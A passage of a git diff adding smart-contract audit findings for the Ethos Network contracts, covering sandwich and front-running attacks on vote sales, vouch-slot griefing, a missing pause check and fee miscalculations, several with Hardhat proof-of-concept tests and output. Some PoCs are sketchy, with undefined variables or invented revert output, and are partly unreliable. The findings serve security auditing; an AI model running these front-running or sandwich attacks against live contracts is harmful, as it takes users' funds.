`unvouch()` +- Maintain control to collect pool fees +- Selectively allow vouches by controlling slot availability + +### Impact + +An attacker can: +1- Fill all 256 slots with minimum vouches (total cost 0.0256 ETH + Gas fees) +2- Block legitimate high value vouches (eg 1 ETH) +3- Extract value through slot release extortion +4- Capture vouching pool fees +5- Control who can vouch for a profile + + + +### PoC + +_No response_ + +### Mitigation + +An "Accept Vouch" mechanism where profile owners must accept vouches before they count against slot limits is optimal but requires major changes in the current implementation. Here's a simpler mitigation that focuses on preventing rapid consecutive vouches: + +```diff +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuard { + // ... existing code ... + ++ // Cooldown period between vouches for same profile ++ uint256 public constant VOUCH_COOLDOWN = 1 hours; ++ ++ // Track last vouch timestamp per profile ++ mapping(uint256 => uint256) public lastVouchTimestamp; ++ ++ // Track number of vouches in cooldown window ++ mapping(uint256 => uint256) public recentVouchCount; ++ ++ // Maximum vouches allowed in cooldown window ++ uint256 public constant MAX_VOUCHES_IN_WINDOW = 5; + + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { ++ // Check cooldown and rate limiting ++ _enforceVouchRateLimit(subjectProfileId); + + // ... existing checks ... + + // store vouch details + uint256 count = vouchCount; + vouchIdsByAuthor[authorProfileId].push(count); + vouchIdsByAuthorIndex[authorProfileId][count] = vouchIdsByAuthor[authorProfileId].length - 1; + vouchIdsForSubjectProfileId[subjectProfileId].push(count); + vouchIdsForSubjectProfileIdIndex[subjectProfileId][count] = + vouchIdsForSubjectProfileId[subjectProfileId].length - + 1; + + vouchIdByAuthorForSubjectProfileId[authorProfileId][subjectProfileId] = count; + vouches[count] = Vouch({ + archived: false, + unhealthy: false, + authorProfileId: authorProfileId, + authorAddress: msg.sender, + vouchId: count, + balance: toDeposit, + subjectProfileId: subjectProfileId, + comment: comment, + metadata: metadata, + activityCheckpoints: ActivityCheckpoints({ + vouchedAt: block.timestamp, + unvouchedAt: 0, + unhealthyAt: 0 + }) + }); + + emit Vouched(count, authorProfileId, subjectProfileId, msg.value); + vouchCount++; + ++ // Update tracking ++ lastVouchTimestamp[subjectProfileId] = block.timestamp; ++ recentVouchCount[subjectProfileId]++; + } + ++ function _enforceVouchRateLimit(uint256 profileId) internal { ++ // Reset counter if cooldown window has passed ++ if (block.timestamp > lastVouchTimestamp[profileId] + VOUCH_COOLDOWN) { ++ recentVouchCount[profileId] = 0; ++ } ++ ++ // Check rate limits ++ require( ++ recentVouchCount[profileId] < MAX_VOUCHES_IN_WINDOW, ++ "Too many vouches in time window" ++ ); ++ ++ // For first vouch in new window ++ if (recentVouchCount[profileId] == 0) { ++ lastVouchTimestamp[profileId] = block.timestamp; ++ } ++ } +} +``` + diff --git a/097.md b/097.md new file mode 100644 index 0000000..d9bdb67 --- /dev/null +++ b/097.md @@ -0,0 +1,179 @@ +Rough Admiral Yak + +High + +# Sandwich Attack Vulnerability in `ReputationMarket.sol::sellVotes` + +### Summary + +A vulnerability in the `ReputationMarket.sol` contract allows for a sandwich attack to exploit the price calculation for votes, resulting in users receiving less than expected funds when selling votes. The vulnerability occurs because the `sellVotes` function lacks a slippage check, enabling an attacker to manipulate the market by performing front-running (buying votes) and back-running (selling votes) operations between the victim's vote sale. This results in a negative impact for users as they receive fewer funds than anticipated, while attackers can profit from manipulating the vote price. + + +### Root Cause + +The root cause of the vulnerability lies in two main issues: + +Lack of Slippage Check in `sellVotes` Function: In the `sellVotes` function, there is no mechanism to check for slippage or the potential impact of other transactions that could manipulate the price calculation. This absence of slippage control makes the system vulnerable to price manipulation by front-running and back-running attackers. + +Price Calculation Based on Voting Shares: The function `_calcVotePrice` calculates the price of votes based on the proportion of votes (positive or negative) to total votes in the market. When attackers purchase votes to alter the market dynamics before a user sells, the price calculation can change, and the user can receive less than expected. Specifically, the `totalVotes` can be manipulated by attackers who add or remove votes. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol?plain=1#L920-L923 + +```javascript +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; +} +``` + + +### Internal pre-conditions + +The user must buy votes and sell them + +### External pre-conditions + +_No response_ + +### Attack Path + +- Victim buys positive votes: The victim (user A) buys positive votes in the market, paying a certain amount for them. +- Victim wants to sell and simulates vote sale: User A simulates the sale of these votes to calculate the expected funds they will receive. +- Attacker front-runs: The attacker (user B) monitors mempool and buys negative votes before the victim sells their votes, changing the market dynamics. +- Victim sells votes: User A sells their positive votes, expecting to receive the funds calculated earlier. However, the market price has been manipulated by the attacker. +- Attacker back-runs: After the victim’s sale, the attacker sells their negative votes, taking advantage of the manipulated price. +- User receives less than expected: User A receives less than the expected funds due to the price manipulation caused by the attacker's actions. + +This also works for opposit vote + +### Impact + +The user suffers an approximate loss in the funds received from selling votes due to price manipulation. The attacker gains a profit by manipulating the vote price via a sandwich attack. + +In this case, user A receives less than expected because the price calculation changes between their buy and sell operations, as a result of the attacker’s vote purchases. + +Loss for user A: User A receives fewer funds than expected due to the manipulated vote price. +Gain for attacker: The attacker profits from buying votes before and selling them after the victim's transaction, exploiting the absence of a slippage check in the contract. + + +### PoC + +create new file named test/reputationMarket/sandwich.test.ts (or add the it part to rep.market.test.ts) + +```javascipt +// test/reputationMarket/sandwich.test.ts +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect } from 'chai'; +import hre from 'hardhat'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { DEFAULT, getExpectedVotePrice, MarketUser } from './utils.js'; + +const { ethers } = hre; + +describe('Sandwich Attack', () => { + let deployer: EthosDeployer; + let ethosUserA: EthosUser; + let ethosUserB: EthosUser; + let userA: MarketUser; + let userB: MarketUser; + let reputationMarket: ReputationMarket; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + ethosUserA = await deployer.createUser(); + await ethosUserA.setBalance('2000'); + ethosUserB = await deployer.createUser(); + await ethosUserB.setBalance('2000'); + + userA = new MarketUser(ethosUserA.signer); + userB = new MarketUser(ethosUserB.signer); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = ethosUserA.profileId; + await reputationMarket + .connect(deployer.ADMIN) + .setUserAllowedToCreateMarket(DEFAULT.profileId, true); + await reputationMarket.connect(userA.signer).createMarket({ value: DEFAULT.initialLiquidity }); + }); + + it('sandwich attack scenario and user receives less than expected funds', async () => { + // 1. User buys positive votes + const { fundsPaid: userBuyFundsPaid } = await userA.buyVotes({ buyAmount: DEFAULT.buyAmount * 5n, isPositive: true }); + const { trustVotes: userPositiveVotes } = await userA.getVotes(); + + // 2. User simulates selling votes to get expected funds + const { simulatedFundsReceived: expectedFunds } = await userA.simulateSell({ + sellVotes: userPositiveVotes, + isPositive: true, + }); + + // 3. Attacker buys negative votes before user sells (front-running) + await userB.buyVotes({ buyAmount: DEFAULT.buyAmount * 3n, isPositive: false }); + const { distrustVotes: attackerNegativeVotes, fundsPaid: attackerBuyFundsPaid } = await userB.buyVotes({ + buyAmount: DEFAULT.buyAmount * 3n, + isPositive: false, + }); + + // 4. User sells votes and captures actual funds received + const { fundsReceived: actualFunds } = await userA.sellVotes({ + sellVotes: userPositiveVotes, + isPositive: true, + }); + + // 5. Attacker sells votes after user sells (back-running) + const { fundsReceived: attackerSellFundsReceived } = await userB.sellVotes({ + sellVotes: attackerNegativeVotes, + isPositive: false, + }); + + // Debugging logs to observe the values during test execution. + const attackerProfit = attackerSellFundsReceived - attackerBuyFundsPaid; + console.log("user Paid:", userBuyFundsPaid); + console.log("User Positive Votes:", userPositiveVotes); + console.log("Attacker Negative Votes:", attackerNegativeVotes); + console.log("User Expected Funds: ", expectedFunds); + console.log("User Actual Funds Received:", actualFunds); + console.log("Attacker Paid: ", attackerBuyFundsPaid); + console.log("Attacker Received:", attackerSellFundsReceived); + + // Verify that actual funds received are less than expected funds + expect(actualFunds).to.be.lt(expectedFunds); + + // Assert that attacker's profit is positive + expect(attackerProfit).to.be.gt(0); + }); +}); +``` + +the output is: +```text +└─[0] NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/reputationMarket/sandwich.test.ts + + + Sandwich Attack +user Paid: 44071428571428570n +User Positive Votes: 6n +Attacker Negative Votes: 12n +User Expected Funds: 44071428571428570n +User Actual Funds Received: 12211232738709517n +Attacker Paid: 23934253525971791n +Attacker Received: 98198662448662444n + ✔ sandwich attack scenario and user receives less than expected funds + + + 1 passing (944ms) + +``` + + + +### Mitigation + +Implement a Slippage Tolerance Check \ No newline at end of file diff --git a/098.md b/098.md new file mode 100644 index 0000000..18f7a49 --- /dev/null +++ b/098.md @@ -0,0 +1,101 @@ +Joyous Chambray Dolphin + +Medium + +# Slippage exploitation in `ReputationMarket.sol` due to highly volatile vote prices will force users to accept unfavorable slippage conditions, causing their transactions to either revert or become more costly than expected + +### Summary + +An attacker can exploit high volatility in vote prices to manipulate transactions. Specifically, sudden, brief price changes could force legitimate users to accept unfavorable slippage conditions, causing their transactions to either revert or become more costly than expected. This manipulation could disrupt market fairness and create opportunities for malicious actors to profit at the expense of unsuspecting users. + +### Root Cause + +The vulnerability stems from the function `_checkSlippageLimit` and the way vote prices are handled. In a volatile market where vote prices fluctuate rapidly, an attacker can briefly inflate prices to manipulate the slippage tolerance, causing one of the following to occur: + +1. The actual votes bought may fall below the calculated minimum due to sudden price increases, causing the slippage check to fail, and the transaction to revert. +2. If the attacker inflates the price, the user may be forced to accept more votes than expected, surpassing their slippage tolerance, which could result in a higher-than-expected cost. + +The vulnerable code that causes this issue is primarily in the price calculation of votes, which can change rapidly based on market demand and supply, and the reliance on a slippage check that doesn’t account for such volatility. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493 + +### Internal pre-conditions + +A user wants to buy 1000 trust votes at a price of 0.01 ETH per vote. +Slippage tolerance is set to 1% (i.e., 1000 * 0.99 = 990 minimum votes). + +### External pre-conditions + +_No response_ + +### Attack Path + +The attacker buys a large amount of votes shortly before the victim's transaction to artificially inflate the vote price. +Due to high volatility, the vote price increases from 0.01 ETH to 0.015 ETH per vote, pushing the user’s actual votes below the minimum threshold they were expecting. + +### Impact + +Attackers can control vote prices to cause legitimate transactions to revert, disrupting market activity. + +Victims may end up paying more ETH to purchase votes as they are forced to accept higher slippage or see their transactions fail. + +### PoC + +```solidity +const { expect } = require("chai"); +const { ethers } = require("hardhat"); + +describe("Reputation Market Slippage Exploitation", function () { + let marketContract; + let attacker; + let user; + let owner; + let profileId = 1; + + before(async () => { + [owner, attacker, user] = await ethers.getSigners(); + const MarketContract = await ethers.getContractFactory("ReputationMarket"); + marketContract = await MarketContract.deploy(); + await marketContract.deployed(); + }); + + it("Should exploit slippage and manipulate prices", async () => { + const initialLiquidity = ethers.utils.parseEther("1"); // 1 ETH initial liquidity + const pricePerVote = ethers.utils.parseEther("0.01"); // 0.01 ETH per vote + + // Create the market + await marketContract.createMarketWithConfig(0, { value: initialLiquidity }); + + // Simulate attacker inflating vote price + await marketContract.connect(attacker).buyVotes(profileId, true, 1000, 50); // Attacker buys votes + + // Victim tries to buy 1000 votes, but due to the manipulation, prices have risen + const expectedVotes = 1000; + const slippageBasisPoints = 100; // 1% slippage tolerance + + try { + await marketContract.connect(user).buyVotes(profileId, true, expectedVotes, slippageBasisPoints, { value: ethers.utils.parseEther("10") }); + } catch (error) { + console.log("Error: ", error.message); + } + + // Check if the transaction was reverted + await expect( + marketContract.connect(user).buyVotes(profileId, true, expectedVotes, slippageBasisPoints, { value: ethers.utils.parseEther("10") }) + ).to.be.revertedWith("SlippageLimitExceeded"); + }); +}); +``` +The test will simulate an attacker buying votes, inflating the price, and then triggering a failure for the victim’s transaction due to slippage exceeding the limit. +```bash +Error: SlippageLimitExceeded: Actual votes bought are below the minimum expected with slippage tolerance. +``` +This confirms that the victim’s transaction reverts because the actual votes are insufficient due to the inflated prices. + + + +### Mitigation + +Use a time-weighted average price mechanism to calculate vote prices over a fixed window. This reduces the impact of sudden price fluctuations caused by a small number of large transactions. + +Set absolute slippage limits that can never be exceeded, regardless of the price fluctuation. +For example, implement hard caps on the maximum price increase allowed in a single transaction. \ No newline at end of file diff --git a/099.md b/099.md new file mode 100644 index 0000000..affc446 --- /dev/null +++ b/099.md @@ -0,0 +1,38 @@ +Kind White Buffalo + +Medium + +# `increaseVouch` can be called even if EthosVouch is paused + +### Summary + +The `whenNotPaused` modifier is included in all functions except for `increaseVouch`. This is problematic as in case there is an issue in the protocol and the contract is paused vouches can still be increased. + +### Root Cause + +The `whenNotPaused` modifier is missing in the `increaseVouch` function: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. EthosVouch gets paused, perhaps due to an issue, in order to prevent calls from being made to the contract. +2. `increaseVouch` can still be called, even though it should not be possible. + +### Impact + +When EthosVouch is paused `increaseVouch` can still be called, even though it should be prohibited. This will be problematic if calls need to be paused following a future upgrade, a potential bug, etc. + +### PoC + +_No response_ + +### Mitigation + +Include the `whenNotPaused` modifier to `increaseVouch`. \ No newline at end of file diff --git a/100.md b/100.md new file mode 100644 index 0000000..7f39ef2 --- /dev/null +++ b/100.md @@ -0,0 +1,129 @@ +Creamy Pearl Raccoon + +Medium + +# ReputationMarket.sol :: sellVotes() lacks slippage protection, which can result in users losing funds. + +### Summary + +`sellVotes()` is used to sell votes for a specific `profileId`. The issue is that it lacks slippage protection, which could result in the user receiving fewer funds than they had initially calculated. + +### Root Cause + +`sellVotes()` uses the [_calculateSell()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045) to determine the amount of funds the user will receive for selling their votes. +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` +As you can see, no slippage protection has been implemented. To determine the price of the votes, the code relies on `_calcVotePrice()`. +```solidity +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` +As you can see, the price of votes increases as more votes of a certain type are accumulated. Knowing this, Alice can use `simulateSell()` to estimate how much she would receive from selling her votes. + +If Alice finds the amount satisfactory, she proceeds to call `sellVotes()`. However, Bob notices her transaction and frontruns it by selling his votes first at the higher price. As a result, when Alice's transaction is executed, the price of the votes has decreased due to Bob's actions, causing Alice to receive fewer funds than expected and incur a loss. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. User1 intends to sell their votes. +2. User2 notices the transaction and frontruns it by selling their votes first at a higher price. +3. When User1's transaction is executed, the vote price has dropped, resulting in User1 receiving fewer funds and incurring a loss. + +### Impact + +Sellers can be frontrun, resulting in them receiving fewer funds than expected. + +### PoC + +To better understand the issue, let's look at an example. For simplicity, assume there are no fees (**fees = 0**) and `profileId = 1`: + +- **Vote price:** 0.01 Ether +- **Total votes:** 30 +- **TRUST votes:** 25 +- **DISTRUST votes:** 5 +- **Alice's TRUST votes:** 3 +- **Bob's TRUST votes:** 3 + +1. Alice calls `simulateSell()` to estimate the funds she will receive for selling her 3 votes. The calculation uses the following formula: `fundsReceived = (votes * price) / totalVotes`. + +This requires recalculating the price dynamically for each iteration as the number of votes decreases. + +- `price1 = 24 * 0.01 / 29 = 0.24 / 29 = 0.00828 ether` (24 is used because the price is calculated by subtracting 1 before the calcualtion, see [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036)) +- `price2 = 23 * 0.01 / 28 = 0.23 / 28 = 0.00821 ether` +- `price3 = 22 * 0.01 / 27 = 0.22 / 27 = 0.00815 ether` + +`fundsReceived = price1 + pirce2 + price 3 = 0.00828 + 0.00821 + 0.00815 = 0.02464 ether` + +2. Alice proceeds to call `sellVotes()` expecting to receive **0.02464 ether**. + +3. Bob observes Alice's transaction and frontruns it by selling his 3 votes first. Since the vote price remains unchanged at the time of Bob's transaction, Bob receives **0.02464 ether**. + +4. After Bob's transaction, the number of **TRUST votes** is reduced from **25** to **22**. When Alice's transaction is executed, the prices for her votes are recalculated based on the reduced pool: + +- `price1 = 21 * 0.01 / 26 = 0.21 / 26 = 0.00808 ether` +- `price2 = 20 * 0.01 / 25 = 0.2 / 25 = 0.00800 ether` +- `price3 = 19 * 0.01 / 24 = 0.19 / 24 = 0.00792 ether` + +`fundsReceived = price1 + pirce2 + price 3 = 0.00808 + 0.00800 + 0.00792 = 0.02400 ether` + +5. Due to Bob's frontrunning, Alice receives fewer funds than expected: + +- `Loss = 0.02464 − 0.02400 = 0.00064 ether` +- `Percentage Loss = 2.6%` + + + + + +### Mitigation + +To resolve the issue, add a slippage parameter to the `sellVotes()`, allowing users to specify their desired slippage tolerance. \ No newline at end of file diff --git a/101.md b/101.md new file mode 100644 index 0000000..fe01df1 --- /dev/null +++ b/101.md @@ -0,0 +1,104 @@ +Joyous Chambray Dolphin + +High + +# A logic flaw in the `buyVotes` function leads to misrepresentation of market liquidity + +### Summary + +A logic flaw in the `buyVotes` function leads to misrepresentation of market liquidity. Specifically, the `marketFunds[profileId]` calculation assumes all paid funds contribute directly to market liquidity. So, the recorded liquidity does not reflect the actual state, allowing for inaccurate market calculations and potential manipulation. + +### Root Cause + +In the `buyVotes` function, the following line: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +naively assumes that `fundsPaid` entirely contributes to the market's liquidity. However, if any portion of `msg.value` is refunded (via `_sendEth(refund)`) or consumed by fees (e.g., `protocolFee` or donation), the recorded `marketFunds` value can misrepresent the actual liquidity. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493 +Problem: +1. The `applyFees` function reduces the effective funds available for liquidity, but this reduction is not subtracted from `marketFunds`. +2. If any refund occurs (`refund > 0`), this amount does not reduce the `marketFunds` tally. +3. An overstated `marketFunds` value can lead to misleading liquidity metrics, enabling attackers to exploit this discrepancy for profit. + +Also, in function `_calculateBuy` deducts `protocolFee` and `donation` from `funds` using `previewFees`, calculating the actual funds available for purchasing votes. However, after the loop completes, any leftover funds (`fundsAvailable`) are not refunded but instead remain unaccounted for. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983 +The line `fundsPaid += protocolFee + donation` adds fees to the total amount `fundsPaid`. This creates a disconnect because `fundsPaid` is supposed to represent the actual amount used to buy votes. Including fees here might lead to discrepancies in calculations elsewhere in the contract. + +If `fundsAvailable < votePrice` after the loop, the leftover funds are not explicitly handled. These funds should either: +Be refunded to the buyer, or +Be accounted for transparently in `fundsPaid`. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Deploy a market with initial liquidity. +2. Call `buyVotes` with `msg.value` greater than the required funds to trigger a refund. +3. Check that `marketFunds` includes the refunded amount, inflating the perceived liquidity. + +Values: +Market initial liquidity: 1 ETH +Call `buyVotes` with: +`msg.value` = 2 ETH +Required funds: 1.5 ETH +Refund: 0.5 ETH + +Output: +Refund of 0.5 ETH is sent back to the caller. +`marketFunds` is updated as if the full 2 ETH was added, overstating liquidity by 0.5 ETH. + +Another scenario: +1. The buyer sends more ETH (`msg.value`) than needed to buy votes. After purchasing all possible votes within the budget, some funds remain as `fundsAvailable`. +2. Any leftover funds (`fundsAvailable`) are neither refunded to the buyer nor properly accounted for in `marketFunds`. + +### Impact + +Overstating market liquidity misleads participants about the actual market state. + +Attackers can exploit inflated liquidity values to manipulate vote prices or liquidity-dependent calculations. + +The user may overpay for votes without a refund. + +### PoC + +```solidity +it("Should misrepresent liquidity after a refund in buyVotes", async () => { + const marketId = 1; // Example market ID + const [owner, user] = await ethers.getSigners(); + + // Assume initial market setup is complete + await contract.createMarket(); // Example market creation + + // User buys votes with excess ETH + const tx = await contract.connect(user).buyVotes( + marketId, + true, // isPositive + 10, // expectedVotes + 1000, // slippageBasisPoints + { value: ethers.utils.parseEther("2") } + ); + + // Check refund (Mock _sendEth to observe refund call) + const refundAmount = ethers.utils.parseEther("0.5"); + expect(await user.getBalance()).to.equal(userInitialBalance.sub(refundAmount)); + + // Liquidity Misrepresentation + const marketFunds = await contract.marketFunds(marketId); + expect(marketFunds).to.equal(ethers.utils.parseEther("2")); // Incorrect +}); +``` +Output: +0.5 ETH refunded successfully. +`marketFunds` incorrectly includes refunded amount, recorded as 2 ETH instead of 1.5 ETH. + +### Mitigation + +Subtract both refunds and fees when updating `marketFunds`. +```solidity +marketFunds[profileId] += fundsPaid - protocolFee - donation - refund; +``` \ No newline at end of file diff --git a/102.md b/102.md new file mode 100644 index 0000000..88f5a9e --- /dev/null +++ b/102.md @@ -0,0 +1,52 @@ +Happy Blue Okapi + +Medium + +# Users will be able to increase their Vouch when contract is paused. + +### Summary + +The `increaseVouch()` function is missing the `whenNotPaused` modifier which causes anyone to be able to increase their vouch even when the contract is paused. + +### Root Cause + +In [`EthosVouch.sol:426`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) the function `increaseVouch()` is missing the `whenNotPaused` modifier. + +### Internal pre-conditions + +1. The `EthosVouch` contract has to be paused by the `InteractionControl`. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A User calls `increaseVouch()` while the contract is paused. + +### Impact + +The desired functionality of the contract is that this function does not allow being called when the contract is paused. However since the modifier is missing, the function can be called anyways. This could for example lead to an user increasing their vouch but then not being able to unvouch anymore since the contract is paused. The contract would as well apply fees to the transaction which also should not happen while it is paused. + +### PoC + +```solidity + it('should successfully increase vouch amount when paused', async () => { + const { vouchId, balance } = await userA.vouch(userB, { paymentAmount: initialAmount }); + + const protocolFeeAmount = calculateFee(increaseAmount, entryFee).fee; + const donationFeeAmount = calculateFee(increaseAmount, donationFee).fee; + const expectedDeposit = increaseAmount - protocolFeeAmount - donationFeeAmount; + deployer.interactionControl.contract.pauseAll(); //pausing the contract here + await deployer.ethosVouch.contract + .connect(userA.signer) + .increaseVouch(vouchId, { value: increaseAmount }); + + const finalBalance = await userA.getVouchBalance(vouchId); + expect(finalBalance).to.be.closeTo(balance + expectedDeposit, 1n); + }); + ``` + +### Mitigation + +Add the `whenNotPaused` modifier to `increaseVouch()`. \ No newline at end of file diff --git a/103.md b/103.md new file mode 100644 index 0000000..d6875e0 --- /dev/null +++ b/103.md @@ -0,0 +1,137 @@ +Calm Fiery Llama + +High + +# Protocol fee loss or overpayment due to exit fee adjustments + +### Summary + +When users call [EthosVouch::unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L481), they are required to pay exit fees. However, since the amount is calculated using the `exitFeeBasisPoints` value at the time of unvouching, the total fee the user has to pay can exceed the `MAX_TOTAL_FEES` limit. Additionally, the protocol might earn no fees at all due to this issue. + +The `MAX_TOTAL_FEES` [is intended to be capped at `10%`](https://audits.sherlock.xyz/contests/675?filter=questions#:~:text=Maximum%20total%20fees%20cannot%20exceed%2010%25), but this is currently not the case due to an error made by the sponsor. For the purposes of this report, I will proceed with `MAX_TOTAL_FEES = 1000`. However, even if this was not an issue, the problem would persist. + +### Root Cause + +Currently, it is ensured that the sum of all fees does not exceed `MAX_TOTAL_FEES`. However, users may still end up paying more than the maximum fees intended by the protocol when they call `EthosVouch::unvouch()`. This is because the exit fees are calculated at the time of unvouching rather than at the time of vouching. As a result, the exit fee could have increased, leading to `entryFees + exitFee` exceeding `MAX_TOTAL_FEES`. Additionally, due to this issue, the protocol might earn less + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. The fee values are initially set as follows: +`entryProtocolFeeBasisPoints = 1000` +`entryDonationFeeBasisPoints = 0` +`entryVouchersPoolFeeBasisPoints = 0` +`exitFeeBasisPoints = 0` +2. A user calls `EthosVouch::vouchByProfileId()` to vouch for a ProfileId sending `11 ETH` in the transaction. This is because they intend to vouch `10 ETH` and need to pay a 10% fee. +3. A few days later, the admin changes `entryProtocolFeeBasisPoints` to `0` and `exitFeeBasisPoints` to `1000`. It is important to note that the exact values are not critical—any **increase** in `exitFeeBasisPoints` can trigger this issue. +4. The user (voucher) calls `EthosVouch::unvouch()` to remove their vouch and is required to pay exit fees. These exit fees are calculated as 10% of the vouched amount. Consequently, the total fees exceed `MAX_TOTAL_FEES`. + +If the changes are made the other way around, the protocol loses fees: + +1. The fee values are initially set as follows: +`entryProtocolFeeBasisPoints = 0` +`entryDonationFeeBasisPoints = 0` +`entryVouchersPoolFeeBasisPoints = 0` +`exitFeeBasisPoints = 1000` +2. A user calls `EthosVouch::vouchByProfileId()` to vouch for a ProfileId sending `10 ETH` in the transaction. +3. A few days later, the admin changes `entryProtocolFeeBasisPoints` to `1000` and `exitFeeBasisPoints` to `0`. It is important to note that the exact values are not critical—any **decrease** in `exitFeeBasisPoints` can trigger this issue. +4. The user (voucher) calls `EthosVouch::unvouch()` to remove their vouch and is required to pay exit fees. These exit fees are calculated as 0% of the vouched amount. Consequently, the user does not pay any fees (neither for vouching nor for unvouching). + +### Impact + +If the `exitFeeBasisPoints` increased between vouching and unvouching, users might have to pay more than `MAX_TOTAL_FEES`. If `MAX_TOTAL_FEES` were set to `1000`, they could end up paying a maximum of 10% of the `msg.value` from the vouch transaction, plus an additional 10% of the vouched amount when they call `EthosVouch::unvouch()`. + +If the `exitFeeBasisPoints` decreased between vouching and unvouching, the protocol could lose fees. In the worst case, the protocol might earn no fees at all. + +An admin does not need to be malicious for this issue to occur, as **any** change in `exitFeeBasisPoints` at **any** time could trigger either the voucher paying too many fees or the protocol earning less fees. It is expected that admins will adjust the fee settings. + +### PoC + +The following test is to verify the first attack path and should be added to `EthosVouch.test.ts`: + +```solidity +it('should pay more than max fees', async () => { + const { + ethosProfile, + ethosVouch, + ADMIN, + OWNER, + PROFILE_CREATOR_1, + VOUCHER_0, + FEE_PROTOCOL_ACC, + } = await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); + await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + + expect(await ethosProfile.profileIdByAddress(PROFILE_CREATOR_1.address)).to.be.equal( + 2, + 'wrong profile Id', + ); + + // set protocol fee to 1000 + await ethosVouch.connect(ADMIN).setEntryProtocolFeeBasisPoints(1000); + + expect(await ethosVouch.entryProtocolFeeBasisPoints()).to.be.equal( + 1000, + 'wrong entry protocol fee', + ); + + const feeBalanceBeforeVouch = await ethers.provider.getBalance(FEE_PROTOCOL_ACC.address); + + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(2, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('1.1'), + }); + + const feeBalanceAfterVouch = await ethers.provider.getBalance(FEE_PROTOCOL_ACC.address); + const feeBalanceDifferenceVouch = feeBalanceAfterVouch - feeBalanceBeforeVouch; + + expect(feeBalanceDifferenceVouch) + .to.equal(100000000000000000n, 'Wrong entry protocol fee'); + + // set protocol fee to 0 + await ethosVouch.connect(ADMIN).setEntryProtocolFeeBasisPoints(0); + + expect(await ethosVouch.entryProtocolFeeBasisPoints()).to.be.equal( + 0, + 'wrong entry protocol fee', + ); + + // set exit fee to 1000 + await ethosVouch.connect(ADMIN).setExitFeeBasisPoints(1000); + + expect(await ethosVouch.exitFeeBasisPoints()).to.be.equal( + 1000, + 'wrong exit fee', + ); + + const feeBalanceBeforeUnvouch = await ethers.provider.getBalance(FEE_PROTOCOL_ACC.address); + + await ethosVouch.connect(VOUCHER_0).unvouch(0); + + const feeBalanceAfterUnvouch = await ethers.provider.getBalance(FEE_PROTOCOL_ACC.address); + const feeBalanceDifferenceUnvouch = feeBalanceAfterUnvouch - feeBalanceBeforeUnvouch; + + expect(feeBalanceDifferenceUnvouch) + .to.equal(90909090909090910n, 'Wrong exit fee'); + + // this is more than 